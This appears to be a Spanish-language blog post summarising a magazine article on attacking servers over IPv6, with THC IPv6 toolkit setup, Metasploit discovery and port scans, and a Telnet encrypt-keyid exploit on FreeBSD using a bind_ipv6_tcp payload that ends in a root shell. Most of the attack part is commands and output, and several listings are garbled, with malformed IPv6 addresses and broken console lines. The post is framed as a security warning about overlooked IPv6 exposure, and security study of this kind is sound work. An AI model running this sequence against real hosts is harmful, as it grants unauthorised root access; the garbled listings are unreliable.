Yeahh tengo habilitado IPv6 en mi red!, Pero, has tomado en cuenta la Seguridad?

Publicado: enero 6, 2013 en Uncategorized

<script src="http://platform.twitter.com/widgets.js&quot; type="text/javascript“>

Después de una larga  caminata rumbo a mi piso, En el quiosco de la esquina me percate de una revista que me llamo mucho la atención era “Linux-Magazine” y de ahi empezaré a detallar un artículo de Michael Messner en la cual nos demuestra cómo se puede realizar un ataque con éxito a un servidor por medio de IPv6 utilizando las herramientas más populares del medio.
No iré con muchos rodeos por tal motivo detallaré directamente los módulos de prueba realizados:
Comprobación si IPv6 esta activado en Linux.

******************************** Listado 1 ****************************************
root@destroyer :~#ifconfig -a
eth0  link encap:Ethernet HWaddr 00:0c:29:7c:e7:6a
         inet addr:192.168.11.138 Bcast:192.168.11.255 Mask:255.255.255.0

         inet6 addr: fe80::20c::29ff:::fe7c::e76a/64 Scope :Link
[…]
root@destroyer:~#ip -6 addr
[…]
1: lo:<LOOPBACK,UP,LOWER_UP>mtu 16436
    inet6 ::1/128 scope host
    valid_lft for ever preferred_lft forever
[…]
2: eth0:<BROADCAST,MULTICAST,UP,LOWER_UP>mtu 1500 qlen 1000
   inet6 fe80::20c::29ff:fecf:6aba/64 scope link
valid_lft for ever preferred_lft forever
*********************************************************************************

La presencia de una entrada inet6 no significa que automáticamente el ordenador sea accesible a todas las direcciones externas .El alcance del alcance de la línea 4 del listado 1 significa que la dirección sólo se usa en la subred local.
En el caso de que en la red haya un router compatible con IPv6 se verá así:

******************************** Listado 2 ****************************************
         inet6 addr: 2001:4dd0:fd42:3:20c:29ff::fe7c:e76a/64 Scope :Global**
[…]
    inet6 addr : fd44:2011:1021:0:20c:29ff::fe7c:e76a/64 Scope :Global**
    valid_lft for ever preferred_lft forever
[…]

   inet6 fe80::20c::29ff:fecf:6aba/64 scope link

**********************************************************************************

Una simple prueba de las funciones de IPv6 es realizar un Ping a la interfaz lookback:
  root@destroyer:~#ping6 ::1 -c1            (cantidad de pings que queremos hacer :o)

El siguiente comando nos ofrecerá un resumen inicial de la red:
  root@destroyer:~#ping6 ff02::1%2 | cut -d\ -f4
  fe80::20c:29ff:fecf:6aba
  fe80::20c:29ff:fe5c:e4b6
 […]

IPv6 y Metasploit

En este punto nos centraremos en especial con Alive6 un elemento muy util de THC IPv6 Attack Toolkit ( http://thc.org/thc-ipv6/README) este conjunto de herramientas posee las utilidades más importantes para analizar y atacar este tipo de redes. Y sí que es sorpendente como el conjunto de herramientas para el análisis de pruebas de incursión Metasploit se encuentre ya preparado para trabajar con IPv6.
Instalación de IPv6…

******************************** Listado 3 ****************************************
  root@destroyer:~#wget http://thc.org/releases/thc-ipv6-2.1.tar.gz
  root@destroyer:~#tar xzf thc-ipv6-2.1.tar.gz
  root@destroyer:~#cd thc-ipv6-2.1
  root@destroyer:~/thc-ipv6-2.1#apt-get install libssl-dev
  root@destroyer:~/thc-ipv6-2.1#make
  root@destroyer:~/thc-ipv6-2.1#./alive6 eth0
warning:unprefered ipv6 address had to be selected
Alive:  fe80::20c:29ff:feec:1a8d
Alive:  fe80::20c:29ff:fe5c:e4b6
[…]
Found 19 systems alive
**********************************************************************************

Nota: de salir algun error al ejecutar el monado make …. ejecute el siguiente comando : apt-get install libpcap-dev y continue los pasos correspondientes.
Existe un conjunto de herramientas Metasploit, algunos articulos introductorios los podrá encontrar en: “Radvd : http://www.litech.org/radvd/ “; o tambien en : “Simple DNS Plus : “http://simpledns.com/private-ipv6.aspx&#8221;.
Utilizando el ComandoSearch en la Consola de Metasploit para encontrar los modules IPv6 existentes.

******************************** Listado 4 ****************************************
  10.8.28.2 – (Sessions: 0 Jobs:0 ) > search type:auxiliary ipv6
      Name
   —-
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_routermulticast_advertisement
**********************************************************************************

Como se puede apreciar esos tres módulos encontrados son a decuados para escanear las redes locales IPv6, asi como las redes IPv4. En vista que IPv6 posee varias direcciones multicast, s epuede poner como destino todos los routes con la dirección ff0X<::2 donde X es el posible alcance.
Puede utilizarse el modulo ipv6_multicast_ping para enviar una solicitud ICMP a las direcciones IPv6 multicast y descubrir los sistemas existentes que se encuentren escuchando con direcciones IPv6.

******************************** Listado 5 ****************************************
  10.8.28.2 – (Sessions: 0 Jobs:0 ) > use
  auxiliary/scanner/discovery/ipv6_multicast_ping
  10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (ipv6_multicast_ping) >show options
[…]
  10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (ipv6_multicast_ping) >run
[…]**********************************************************************************

El módulo ipv6_neighbor analizará la subred local .Este proceso proporciona una simple correspondencia entre los servicios identificados y las vulnerabilidades entre el trafico de las IPv4 y IPv6. Los resultados obtenidos por este módulo son volcados por Metasploit en su propia base de datos bajo notes.Tecleamos:
“host.ipv4.ipv6.mapping” se filtran los resultados .

******************************** Listado 6 ****************************************
 10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (ipv6_neighbor) >show options
 Module options (auxiliary/scanner/discovery/ipv6_neighbor):

[…]
10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (ipv6_neighbor) >set SHOT
10.8.28.2
SHOTS>10.8.28.2
ru10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (ipv6_neighbor) >run

[…]**********************************************************************************

Escaneando Puertos

Los metasploit tambien pueden ser utilizados para un simple escaneo de puertos. Usando los comandos show,option,use,set,RHOST,LHOST y run se pueden descubrir los equipos y servicios.

******************************** Listado 7 ****************************************
 10.8.28.2 – (Sessions: 0 Jobs:0 ) >use auxiliary /scanner/portscan/tcp

10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (tcp) >set RHOST
fe80::20c::29ff:fecf:6aba
10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (tcp) >set PORTS
“7,21,22,23,25,43,50,<snip>”
10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (tcp) >set THREADS 50
10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (tcp) >run

[*][2012.02.03-16:54:50] fe80::20c::29ff:fecf:6aba : 53 -TCP closed
[*][2012.02.03-16:54:50] fe80::20c::29ff:fecf:6aba : 23 -TCP OPEN
[*][2012.02.03-16:54:50] fe80::20c::29ff:fecf:6aba : 50 -TCP closed
[*][2012.02.03-16:54:50] fe80::20c::29ff:fecf:6aba : 25 -TCP closed
**********************************************************************************

Como vemos el Metasploit descubrio un sistema que tiene abierto el puerto 23 el cual corresponde a Telnet. Luego se puede escanear el puerto de Telnet en un servidor usando services -p 23 -R y run y Metaslpoit devolverá información acerca del sistema.
 fe80::20c::29ff:fecf:6aba 23 tcp telnet open FreeBSD/i386 (freebsd73.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
El servidor BSD utilizado en el ejemplo posee una vulnerabilidad en su servicio de Telnet que permite a un atacante obtener acceso de root no autorizado sin una contraseña.aunque se ha parchado esta vulnerabilidad, el bug se encuentra aún en la imagen original y en muchos dispositivos basados en BSD.
En el caso más sencillo se selecciona con use el modo auxiliar requerido y luego se ejecuta rhost para configurar la direccion de destino IPv6. Tecleando run se dispara el proceso de escaneado.

******************************** Listado 8 ****************************************
 10.8.28.2 – (Sessions: 0 Jobs:0 ) >use auxiliary /scanner/telnet/telnet_encrypt_overflow
 10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (telnet_encrypt_overflow )>set RHOST fe80::20c::29ff:fecf:6aba
 RHOST=> fe80::20c::29ff:fecf:6aba
 10.8.28.2 – (Sessions: 0 Jobs:0 ) auxiliary (telnet_encrypt_overflow )>run
[…]
**********************************************************************************

Un ataque con éxito

Confirmada la vulnerabilidad  ahora podemos ejecutar un exploit con un payload IPv6 de destino El comando show payloads muestra los payloads compatibles para este exploit,debiendo seleccionar uno.Sólo en la red local (SCOPE:LINK), el payload IPv6 Reverse es de uso limitado, ya que el atacante necesitaria especificar el ID del atacante o la interfaz local del sistema al que va a atacar, con set PAYLOAD bsd/x86/shell/bind_ipv6_tcp y exploit, que darán como resultado una interfaz de comandos de root en el servidor.

******************************** Listado 9 ****************************************
10.8.28.2 – (Sessions: 0 Jobs:0 ) exploit (telnet_encrypt_keyid)> set PAYLOAD bsd/x86/shell/bind_ipv6_tcp PAYLOAD=>bsd/x86/shell /bind_ipv6_tcp
10.8.28.2 – (Sessions: 0 Jobs:0 ) exploit (telnet_encrypt_keyid)>show options
[…]
10.8.28.2 – (Sessions: 0 Jobs:0 ) exploit (telnet_encrypt_keyid)>exploit[…]
id
uid=0(root) gid=(wheel) groups=0(wheel),5(operator)
**********************************************************************************
Conclusión:

Como se ha podido apreciar en el mencionado articulo se ha tenido éxito con un exploit contra el servicio Telnet en la direccion de IPv6, adquiriendo así los privilegios de root en el servidor.
¨A pesar que el sistema no posee servicios ni vulnerabilidades en su dirección IPv4, puede ser atacado y comprometido completamente por medio de IPv6¨

 

Anuncios

Los comentarios están cerrados.